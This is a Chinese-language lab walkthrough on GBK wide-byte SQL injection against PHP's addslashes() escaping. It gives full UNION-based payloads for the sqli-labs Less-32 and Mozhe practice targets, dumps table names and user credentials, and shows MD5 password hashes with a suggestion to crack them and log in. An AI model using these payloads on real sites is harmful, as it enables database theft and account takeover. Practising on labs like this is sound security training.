1.函数
addslashes()函数:
在指定的预定义字符前添加上反斜杠。这些预定义字符指的是
单引号('),双引号("),反斜线(/),NUL(Null字符)
作用就是阉割掉这些字符的功能,在前面上一个\反斜线,比如说单引号'
被addslashes()函数过滤后就变成了\'。转换成了实体的字符,没有了功能。
当写入或查询的用户名'1'',数据库则会识别单引号'为闭合符号,要求在输入一个单引号进行闭合,指查询'1'而没办法查询'1''
如果输入'1\'',\使'失去闭合功能,则数据会识别'1''
2.GBKB编码
我们在'号前面输入一个%df就可以进行绕过
本来你输入的?id=1'他就会自动转义成了?id=1\',但是在\的编码是%5c
如果你在前面输入一个%df他就会变成%df5c,那么%df5c他就会被解析成一个字符
那么%df和%5c是从哪里来的呢?
%df是我们手工输入进去的
%5c是使用addslashes()这个函数他自动在'号前加上的\,而这个\就是%5c
那么%df和%5c放在一起,他们就会符合一个GBKB的编码方式
%df的第五个,第c个正好组成一个汉字。
这样一来,他就把这个\失去他注释掉'单引号的功能
本来这个\是要把我们单引号的功能给注释掉的。
举个例子本来\要去找'一起玩,玩着玩着就把'单引号的功能给玩掉了
但是我们现在在他'单引号的前面手动加了一个%df,当addslashes()这个函数他自己在我们'单引号的前面添加上这个\符号之后,正好这个符号的编码是%5c,这实话\就不能拉着这个'单引号一起去玩了。而是被%df拉着%5c去玩了
那么就变成了%df%5c一起玩了,'单引号自己玩。这样就成功绕过过滤了
3.宽字节绕过
宽字节绕过前提条件:
要求对方的编码方式也是GBK编码,并且发出请求时声明客户端用的也是GBK编码
4.案例演示
(1) sqli-labs-master/Less-32
1.判断闭合方式并且确定是否有注入点
?id=1%df' and 1=2 --+
?id=1%df') and 1=2 --+
?id=1%df" and 1=2 --+?id=1%df") and 1=2 --+
测试到?id=1%df' and 1=2 --+ 页面报错 确定存在注入点
当我们在测试过所有闭合符号的时候页面依旧不进行回显
使用%df进行闭合方式的测试
url: ?id=1%df'
页面报错
''1�\'' LIMIT 0,1' at line 1
'1�\'' LIMIT 0,1
确定闭合方式为单引号闭合
url: ?id=1%df' --+
使用--+把后面的代码注释掉
页面回显正常
url ?id=1%df' and 1=1--+
使用and 1=1进行测试页面回显正常
url:?id=1%df' and 1=2 --+
用and 1=2进行测试页面报错 ,确定存在注入点
2.确定字段数
?id=1%df' order by 3--+
url:?id=1%df' order by 4--+
当测试到第四个字段的时候页面报错。
url: ?id=1%df' order by 3 --+
当测试到第三个字段的时候页面回显正常
3.确定回显位
?id=1%df' union select 1,2,3 --+
确定回显在页面的字段为
2.3
4.获取数据库名
?id=-1%df' union select 1,(database()),3--+
确定数据库名为Securiry
5.获取数据表名
?id=-1%df' union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=database())--+
emails,referers,uagents,users
6.获取字段(列)
?id=-1%df' union select 1,2,(select group_concat(column_name)from information_Schema.columns where table_schema=database() and table_name=0x7573657273)--+
注意:0x代表的是16进制,因为我们在正常测试的时候一般table_name='users'会这么去写
但是addslashes()在这里也把我们输入的''这两个单引号也进去过滤了,所以我们需要把我们的表名转换成16进制的格式,并且在前面加上0x的固定写法。
0x:代表16进制
7573657273:代表users
id
username
password
字段
HEX转字符 十六进制转字符 hex gb2312 gbk utf8 汉字内码转换 - The X 在线工具
7.拖库
?id=-1%df' union select 1,2,(select group_concat(username,0x7e,password)from security.users)--+
0x:代表16进制
7e:~ 号
这里的0x7e主要就是我们进行拼接的符号
(2)墨者靶场(宽字节注入)
1.确定闭合方式,判断是否存在注入点
?id=1%df' and 1=2 --+
url:?id=1%df' and 1=1 --+
页面正常回显
?id=1%df' and 1=2--+
页面报错
确定存在注入
2.确定字段数
?id=1%df' order by 5 --+
url:?id=1%df' order by 5 --+
页面正常回显
url:?id=1%df' order by 6 --+
页面报错
确定一共5个字段
3.确定回显 位
?id=-1%df' union select 1,2,3,4,5 --+
确定回显字段为3,5
4.获取数据库名
?id=-1%df' union select 1,2,3,4,(database())--+
url:?id=-1%df' union select 1,2,3,4,(database()) --+
确定当前数据库为
mozhe_discuz_stormgroup
5.获取数据表
?id=-1%df' union select 1,2,3,4,(select group_concat(table_name)from information_schema.tables where table_Schema=database())--+
当前数据表为
notice,stormgroup_member
6.获取字段(列 )信息
id=-1%df' union select 1,2,3,4,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name=0x7374
6F726D67726F75705F6D656D626572 )--+0x:代表16进制固定写法
73746F726D67726F75705F6D656D626572:stormgroup_member
这里注意的是不管是在上面的sqlibas的测试还是这里的测试,你在将表名进行16进制转换的时候直接对表名进行转换,不要带双引号或者在单引号进去转换
name,password,status
7.拖库
?id=-1%df' union select 1,2,3,4,(select group_concat(name,0x7e,password)from mozhe_discuz_stormgroup
.stormgroup_member)--+0x:16进制固定写法
7e:~
mozhe~3114b433dece9180717f2b7de56b28a3,
mozhe~aec5684b03c7c59a55bf958c2f3320e7
这里一共两个账号,使用的是md5的加密方式。拿去解密登陆一下就行了